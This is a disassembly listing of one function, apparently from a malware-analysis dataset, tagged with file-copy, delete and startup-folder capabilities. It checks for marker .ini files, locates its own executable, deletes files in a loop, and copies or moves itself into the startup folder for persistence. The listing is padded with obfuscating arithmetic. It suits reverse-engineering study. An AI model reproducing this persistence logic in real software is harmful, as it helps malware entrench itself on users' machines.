Function at 0x40de10
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x308
mov eax, dword [0x45e540]
xor eax, esp
mov dword [esp + 0x304], eax
push ebx
push ebp
push esi
mov esi, dword [0x45cbe4]
mov eax, 0x2aa871e5
imul esi
mov eax, dword [0x45cbd0]
sar edx, 0xe
mov ecx, edx
push edi
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45cbcc]
lea edi, [eax + edx]
mov eax, dword [0x45cbe0]
imul edi, edi, 0x15696
imul eax, eax, 0x15433
add edi, eax
mov eax, dword [0x45cbdc]
imul eax, eax, 0xa88a
add edi, eax
mov eax, 0x7f915fef
imul edx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x1006124d
imul esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbc8]
mov esi, dword [str._r_____r____]
add edi, ecx
add eax, edi
mov edi, dword [0x45cbd8]
mov dword [0x45cbdc], eax
mov eax, dword [0x45cbd4]
lea ebx, [eax + edx]
mov eax, 0x5fa6246b
imul ebx, ebx, 0x10649
imul edi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x1840c0e3
imul esi
imul esi, esi, 0xff9f
sar edx, 0xc
mov ebp, edx
add ebx, edx
mov eax, 0x1006124d
imul edi
sar edx, 0xc
shr ebp, 0x1f
mov eax, edx
shr eax, 0x1f
add ebp, ebx
add eax, edx
sub ebp, eax
add ebp, esi
sub ebp, ecx
push 0
push str.C:Program_FilesMicrosoftSeaPort1.ini
mov dword [0x45cbe4], ebp
call fcn.0042ffbd
add esp, 8
cmp eax, 0xffffffff
je 0x40e3cf
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.0042ffbd
add esp, 8
cmp eax, 0xffffffff
je 0x40e3cf
mov ecx, dword [0x45cbd0]
mov eax, 0x94adc77f
imul ecx
add edx, ecx
sar edx, 0xf
mov esi, edx
shr esi, 0x1f
add esi, edx
mov eax, 0x6051edb
imul ecx
sar edx, 0xb
add esi, edx
mov edi, edx
mov edx, dword [0x45cbc8]
imul edx, edx, 0xa88a
shr edi, 0x1f
add edi, esi
add edi, edx
mov eax, 0xc26c7c39
imul ecx
add edx, ecx
mov ecx, dword [0x45cbe4]
sar edx, 0xf
mov esi, edx
add edi, edx
mov eax, 0x7f915fef
imul ecx
mov ecx, dword [0x45cbe0]
sar edx, 0xf
imul ecx, ecx, 0x8088
mov eax, edx
shr esi, 0x1f
shr eax, 0x1f
add eax, edx
add esi, edi
push 0x104
lea edx, [esp + 0x218]
sub esi, eax
push edx
sub esi, ecx
push 0
mov dword [0x45cbc8], esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x214]
push 0x5c
push eax
call fcn.00430a20
push str..exe
lea ecx, [esp + 0x220]
push ecx
lea edx, [esp + 0x24]
mov esi, eax
push str._s_s
push edx
inc esi
call fcn.0042fc21
mov ecx, dword [0x45cbd0]
mov edi, dword [0x45cbe8]
mov eax, 0x1840c0e3
imul edi, edi, 0xd60e
imul ecx
mov ecx, dword [0x45cbd8]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xc26c7c39
imul ecx
add edx, ecx
imul ecx, ecx, 0x18014
sar edx, 0xf
add edi, edx
mov ebx, edx
mov edx, dword [0x45cbc8]
imul edx, edx, 0x100de
shr ebx, 0x1f
add ebx, edi
add ebx, edx
add esp, 0x18
add ebx, ecx
mov ecx, dword [0x45cbdc]
mov eax, 0x2aa871e5
imul ecx
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [0x45cbe4]
push 0
push 0x18
lea ecx, [esp + 0x11c]
sub ebx, eax
push ecx
sub ebx, 0xa88a
push 0
mov dword [0x45cbd0], ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x114]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40e095
sub eax, ecx
push esi
lea edx, [esp + eax + 0x118]
push 0x44d274
push edx
call fcn.0042fc21
mov esi, dword [0x45cbe8]
mov eax, 0x94adc77f
imul esi
add edx, esi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov edi, dword [0x45cbe0]
mov eax, 0x264545a3
imul esi
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
sub ebx, ecx
mov eax, 0x3e77639f
imul edi
imul edi, edi, 0x10649
mov ecx, esi
imul ecx, ecx, 0xa88a
sub ebx, ecx
sar edx, 0xe
mov ecx, edx
add ebx, edx
shr ecx, 0x1f
add ecx, ebx
add ecx, edi
mov edi, dword [0x45cbd4]
mov eax, 0x1006124d
imul edi
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbc8]
imul edx, edx, 0xff9f
sub ecx, eax
add ecx, edx
add esp, 0xc
mov dword [0x45cbd8], ecx
xor ebx, ebx
jmp 0x40e160
mov ecx, dword [0x45cbd8]
mov edi, dword [0x45cbd4]
mov esi, dword [0x45cbe8]
jmp 0x40e160
mov eax, dword [0x45cbd0]
imul ecx, ecx, 0x15433
imul edi, edi, 0xd60e
add eax, esi
imul eax, eax, 0xa8e3
mov dword [esp + 0x10], eax
mov eax, 0x5fa6246b
imul esi
mov eax, dword [esp + 0x10]
sar edx, 0xf
mov esi, edx
add eax, edx
shr esi, 0x1f
add esi, eax
sub esi, edi
add esi, ecx
mov ecx, dword [0x45cbcc]
mov eax, 0x1840c0e3
imul ecx
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45cbdc]
imul edx, edx, 0xa88a
sub esi, ecx
lea eax, [esp + 0x14]
sub esi, edx
push 0
push eax
mov dword [0x45cbe0], esi
call fcn.0042ffbd
add esp, 8
cmp eax, 0xffffffff
je 0x40e1ea
lea ecx, [esp + 0x14]
push ecx
call ebp
inc ebx
cmp ebx, 0x64
jl 0x40e146
mov ecx, dword [0x45cbd0]
mov edx, dword [0x45cbd8]
mov esi, dword [0x45cbe4]
lea ebx, [edx + ecx]
imul ecx, ecx, 0xff9f
mov edi, dword [0x45cbc8]
imul ebx, ebx, 0xdc65
mov eax, 0x6051edb
imul dword [str._r_____r____]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0xa88a
sub ebx, eax
sub ebx, edx
mov eax, 0x3e77639f
imul edi
sar edx, 0xe
add ebx, edx
mov ebp, edx
mov eax, 0x1006124d
imul edi
mov edi, dword [esp + 0x31c]
shr ebp, 0x1f
sar edx, 0xc
add ebp, ebx
mov eax, edx
shr eax, 0x1f
add ebp, edx
add eax, ebp
sub eax, ecx
test edi, edi
mov dword [0x45cbe8], eax
je 0x40e273
cmp edi, 2
jne 0x40e339
mov ebx, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea eax, [esp + 0x118]
push eax
lea ecx, [esp + 0x1c]
push ecx
call ebx
test eax, eax
jne 0x40e32e
mov ecx, dword [0x45cbcc]
mov edx, dword [0x45cbe8]
imul edx, edx, 0xd60e
mov edi, ecx
imul edi, edi, 0xdc65
add edi, edx
mov esi, dword [0x45cbd4]
mov eax, 0x5fa6246b
imul ecx
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cbdc]
imul edx, edx, 0x100de
sub edi, eax
add edi, edx
mov eax, 0x2aa871e5
imul esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x2aa871e5
imul ecx
sar edx, 0xe
mov ecx, edx
add edi, edx
mov eax, 0x1006124d
imul esi
shr ecx, 0x1f
sar edx, 0xc
add ecx, edi
mov eax, edx
add ecx, edx
shr eax, 0x1f
add eax, ecx
push 6
lea ecx, [esp + 0x118]
push ecx
lea edx, [esp + 0x1c]
push edx
mov dword [str._r_____r____], eax
call ebx
mov eax, 0xfffffffe
jmp 0x40e3d2
mov esi, dword [0x45cbe4]
mov eax, dword [0x45cbe8]
mov ebx, dword [0x45cbe0]
imul eax, eax, 0xd60e
imul esi, esi, 0xa88a
mov ecx, dword [0x45cbcc]
imul ebx, ebx, 0xdc65
sub ebx, eax
mov eax, 0x3e77639f
imul ecx
mov ecx, dword [0x45cbd4]
add ebx, esi
sar edx, 0xe
add ebx, edx
mov esi, edx
mov eax, 0x7f915fef
imul ecx
sar edx, 0xf
shr esi, 0x1f
add esi, ebx
add esi, edx
mov ebx, edx
mov eax, 0x1006124d
imul ecx
sar edx, 0xc
shr ebx, 0x1f
add ebx, esi
mov eax, edx
shr eax, 0x1f
add ebx, edx
mov edx, dword [str._r_____r____]
add eax, ebx
sub eax, edx
add eax, 0xa8e3
cmp edi, 1
mov dword [0x45cbcc], eax
je 0x40e3b6
cmp edi, 2
jne 0x40e3cb
push 0
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x21c]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
jmp 0x40e3d2
or eax, 0xffffffff
mov ecx, dword [esp + 0x314]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0042fa4d
add esp, 0x308
ret